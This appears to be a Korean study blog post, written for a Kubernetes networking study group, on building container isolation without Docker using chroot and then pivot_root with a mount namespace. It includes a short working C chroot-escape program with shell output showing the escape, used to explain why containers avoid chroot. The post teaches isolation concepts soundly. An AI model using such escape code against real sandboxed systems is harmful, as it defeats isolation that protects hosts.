Post

Docker없이 컨테이너 만들기 Part1

Docker없이 컨테이너 만들기 Part 1: 디렉터리 격리

💡 KANS 스터디
CloudNet에서 주관하는 KANS(Kubernetes Advanced Networking Study)으로 쿠버네티스 네트워킹 스터디입니다. 아래의 글은 스터디의 내용을 기반으로 작성했습니다.

스터디에 관심이 있으신 분은 CloudNet Blog를 참고해주세요.

아래의 내용은 Kakao 발표자료와 영상을 기반으로 작성했습니다.

들어가며

컨테이너는 논리적으로 잘 격리된 프로세스이다. 이번 시리즈에서는 컨테이너 상태를 만들기 위해 필요한 필요한 프로세스 격리 기술을 하나씩 알아보고 실습을 진행해보며 컨테이너를 이해한다.

우선 컨테이너가 되기 위해서는 디렉터리 격리, 자원 할당량 제한, 프로세스 격리가 필수적으로 필요하다. 순서대로 루트 디렉터리를 격리하는 방법, 네임스페이스를 통해 프로세스를 격리하는 방법, 자원할당량을 조절하는 방법을 살펴볼 예정이다.

실습 시나리오는 다음과 같다.


  • 루트 디렉터리 격리
    • chroot 격리 기술
      • 탈옥 가능여부 확인
    • pivot_root + mount namespace를 통한 격리
      • 탈옥 가능여부 확인
  • 네임스페이스
    • Process
    • User
    • etc
  • 자원 격리
    • cgroup
    • docker 옵션

격리 기술 History

image.png

출처: https://speakerdeck.com/kakao/ige-dwaeyo-dokeo-eobsi-keonteineo-mandeulgi?slide=200

루트 디렉터리 격리

디렉터리를 격리하는 방법은 chroot가 있다. 위의 history를 확인해보면 1979년에 나온 오래된 기능이다. 하지만, 탈옥 이슈가 있어 현재는 pivot_root와 Mount namespace 기술을 이용해 작업 환경을 격리한다고 한다.

chroot

아래에서 chroot를 실습을 진행해보며 자세히 알아본다.

루트 디렉터리 격리 확인

  • 실습 환경 구성(bin/sh, bin/ls 등 필요한 라이브러리를 사전에 가져온다.)
1
2
3
4
5
6
7
8
9
10
cd /tmp
# 필요한 실행파일 가져오기
mkdir -p myroot/bin
cp /usr/bin/sh myroot/bin/
cp /usr/bin/ls myroot/bin/
# 필요한 라이브러리 가져오기
mkdir -p myroot/{lib64,lib/x86_64-linux-gnu}
cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre2-8.so.0} myroot/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 myroot/lib64

  • 실습 환경 확인(ls, sh 실행파일이 들어와있다.)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@MyServer:/tmp# tree myroot/
myroot/
├── bin
│   ├── ls
│   └── sh
├── lib
│   └── x86_64-linux-gnu
│       ├── libc.so.6
│       ├── libpcre2-8.so.0
│       └── libselinux.so.1
└── lib64
    └── ld-linux-x86-64.so.2

4 directories, 6 files
  • chroot 진행. 루트디렉터리 격리 확인
1
2
3
4
5
6
root@MyServer:/tmp# chroot myroot /bin/sh
# ls
bin  lib  lib64
# cd ../../../
# ls
bin  lib  lib64

위의 실습을 통해 호스트의 루트 디렉터리로 빠져나가지 못하고 /tmp/myroot로 격리된 것을 확인할 수 있다.

이제 탈옥 실습에 필요한 정보를 넣어둔다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@MyServer:/tmp# tree myroot
myroot
├── bin
│   ├── ls
│   ├── mkdir
│   ├── mount
│   ├── ps
│   └── sh
├── lib
│   └── x86_64-linux-gnu
│       ├── libblkid.so.1
│       ├── libc.so.6
│       ├── libcap.so.2
│       ├── libgcrypt.so.20
│       ├── libgpg-error.so.0
│       ├── liblzma.so.5
│       ├── libmount.so.1
│       ├── libpcre2-8.so.0
│       ├── libprocps.so.8
│       ├── libselinux.so.1
│       ├── libsystemd.so.0
│       └── libzstd.so.1
├── lib64
│   └── ld-linux-x86-64.so.2
└── usr
    └── lib
        └── x86_64-linux-gnu
            └── liblz4.so.1

7 directories, 19 files
  • ps 명령어는 /proc 가 마운트되어야 한다.(위에서 /proc 디렉터리를 통해 커널이 실시간으로 프로세스 정보를 업데이트한다는 것을 확인할 수 있다.)
1
2
3
4
root@MyServer:/tmp# chroot myroot /bin/sh
# ps
Error, do this: mount -t proc proc /proc

  • 마운트를 진행한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# mount -t proc proc /proc
mount: /proc: mount point does not exist.
# mkdir /proc
# mount -t proc proc /proc
# ps
    PID TTY          TIME CMD
   6263 ?        00:00:00 sudo
   6264 ?        00:00:00 su
   6265 ?        00:00:00 bash
   6360 ?        00:00:00 sh
   6365 ?        00:00:00 ps
# ps auf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
1000        6054  0.0  0.3   9924  5888 ?        Ss   16:11   0:00 bash --rcfile /dev/fd/63
0           6262  0.0  0.2  11904  5632 ?        S+   16:12   0:00  \_ sudo su -
0           6263  0.0  0.1  11904  2428 ?        Ss   16:12   0:00      \_ sudo su -
0           6264  0.0  0.2  10636  4736 ?        S    16:12   0:00          \_ su -
0           6265  0.0  0.2   9228  5376 ?        S    16:12   0:00              \_ -bash
0           6360  0.0  0.0   2892  1664 ?        S    16:17   0:00                  \_ /bin/sh
0           6366  0.0  0.1   7064  3072 ?        R+   16:17   0:00                      \_ ps auf
1000        5859  0.0  0.3   9924  5888 ?        Ss+  16:11   0:00 bash --rcfile /dev/fd/63
0            571  0.0  0.1   6176  2048 ?        Ss+  15:34   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
0            557  0.0  0.1   6220  2304 ?        Ss+  15:34   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,576

탈옥 확인

탈옥 코드를 통해 탈옥을 진행한다.

  • 탈옥 코드

코드에 대해 간단하게 설명하면, “.out” 디렉터리를 만들고, 해당 폴더를 기준으로 chroot를 실행한다.

경로를 최상위(../../../../../)로 바꾸고, 해당 경로를 기준으로 chroot를 실행한다.

1
2
3
4
5
6
7
8
9
10
11
12
#include <sys/stat.h>
#include <unistd.h>

int main(void)
{
  mkdir(".out", 0755);
  chroot(".out");
  chdir("../../../../../");
  chroot(".");

  return execl("/bin/sh", "-i", NULL);
}
  • 컴파일
1
gcc -o myroot/escape_chroot escape_chroot.c
  • 탈옥코드가 있는 상태에서 chroot를 실행한다.
1
2
3
4
5
6
7
8
tree -L 1 myroot
myroot
├── bin
├── escape_chroot
├── lib
├── lib64
├── proc
└── usr
  • 아래와 같이 탈옥이 가능하다.

탈옥 코드를 실행시킨 뒤 ls를 보면 호스트의 최상위 루트 디렉터리를 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
sudo chroot myroot /bin/sh
# ls
bin  escape_chroot  lib  lib64	proc  usr
# cd ../../../
# ls
bin  escape_chroot  lib  lib64	proc  usr
# ./escape_chroot
# ls
bin   dev  home  lib32	libx32	    media  opt	 root  sbin  srv  tmp  var
boot  etc  lib	 lib64	lost+found  mnt    proc  run   snap  sys  usr

이렇듯 탈옥 이슈로 인해 컨테이너에서는 chroot를 사용하지 않고, 아래의 pivot_root + mount namespace 방법을 사용한다.

Pivot_root + mount namespace(host 영향 격리)

Pivot_root 명령어를 통해, 루트 파일시스템과 마운트 파일시스템의 논리적인 위치를 바꿀 수 있다.

Pivot_root는 실제로 root와 mount 파일시스템의 위치를 바꾸는 개념으로 가상으로만 작동하는 chroot와 비교된다. 당연하겠지만, 실제 파일시스템 위치를 변경하므로 호스트에도 영향이 간다.

image.png

네임스페이스를 통해 마운트 환경을 격리하여 호스트에 영향도를 제거할 수 있다.

  1. 마운트 네임스페이스를 진행하여, 부모 프로세스의 마운트 내용을 복사한다.
  2. 자식 네임스페이스 안에서 컨테이너 파일시스템을 마운트한다.
  3. 자식 네임스페이스 안에서 pivot_root를 진행하면, 루트 디렉터리가 변경된다.
  4. pivot root는 가상으로 변경하는 게 아니기에 탈옥이 불가능하다.

이제 실습을 진행해보자. 실습에 사용할 명령어를 미리 살펴보자.

  • unshare 명령어를 통해 격리를 진행할 수 있다. ex) unshare --mount /bin/sh
  • pivot_root new-root와 old-root가 pivot된다. ex) pivot_root [new-root] [old-root]

실습

  • 별도의 mount를 하나 생성한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir new_root
mount -t tmpfs none new_root

df -h
Filesystem       Size  Used Avail Use% Mounted on
/dev/root         29G  3.1G   26G  11% /
tmpfs            951M     0  951M   0% /dev/shm
efivarfs         128K  3.6K  120K   3% /sys/firmware/efi/efivars
tmpfs            381M  884K  380M   1% /run
tmpfs            5.0M     0  5.0M   0% /run/lock
tmpfs            191M  4.0K  191M   1% /run/user/1000
/dev/nvme0n1p15  105M  6.1M   99M   6% /boot/efi
none             951M     0  951M   0% /new_root
  • new_root/put_old를 생성한 뒤, pivot을 진행한다.
1
$ pivot_root . put_old

파일시스템이 pivot된 것을 확인할 수 있다.

1
2
3
4
5
6
# cd /
# ls
bin  escape_chroot  lib  lib64	proc  put_old
# ls put_old
bin   dev  home  lib32	libx32	    media  new_root  proc  run	 snap  sys  usr
boot  etc  lib	 lib64	lost+found  mnt    opt	     root  sbin  srv   tmp  var
  • 탈옥 테스트

가상이 아닌 실제 파일시스템이 pivot이 된 것이기에, 탈옥에 실패하는 것을 확인할 수 있다.

1
2
3
4
5
# ./escape_chroot
# cd ../../../
# ls /
bin  escape_chroot  lib  lib64	proc  put_old
# exit

마치며

루트 디렉터리를 격리하는 방법으로 사용된 방법을 알아봤다. 왜 chroot는 격리기술로 적합하지 않은지 탈옥 실습을 진행해보며 알 수 있었다. 이제 다음 편에서는 리눅스 네임스페이스를 살펴볼 예정이다.

This post is licensed under CC BY 4.0 by the author.